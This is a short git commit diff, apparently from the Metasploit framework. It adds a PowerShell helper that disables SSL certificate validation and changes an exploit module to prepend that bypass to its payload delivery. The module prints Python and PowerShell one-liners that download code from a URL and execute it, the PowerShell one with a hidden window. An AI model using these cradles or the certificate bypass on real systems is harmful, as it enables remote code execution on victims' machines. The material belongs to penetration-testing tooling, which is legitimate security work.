Move it to a common method

bug/bundler_fix
Meatballs 2014-12-23 11:16:07 +00:00
parent 36404eb67f
commit b41e259252
No known key found for this signature in database
GPG Key ID: 5380EAF01F2F8B38
2 changed files with 13 additions and 1 deletions

View File

@ -64,6 +64,15 @@ module Powershell
def self.get_last_login(user)
%Q^ Get-QADComputer -ComputerRole DomainController | foreach { (Get-QADUser -Service $_.Name -SamAccountName "#{user}").LastLogon} | Measure-Latest^
end
#
# Disable SSL Certificate verification
#
# @return [String] Powershell code to disable SSL verification
# checks.
def self.ignore_ssl_certificate
'[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};'
end
end
end
end

View File

@ -88,7 +88,10 @@ class Metasploit3 < Msf::Exploit::Remote
when 'Python'
print_line("python -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"")
when 'PSH'
download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))"
if ssl
ignore_cert = Rex::Exploitation::Powershell::PshMethods.ignore_ssl_certificate
end
download_and_run = "#{ignore_cert}IEX ((new-object net.webclient).downloadstring('#{url}'))"
print_line generate_psh_command_line(
noprofile: true,
windowstyle: 'hidden',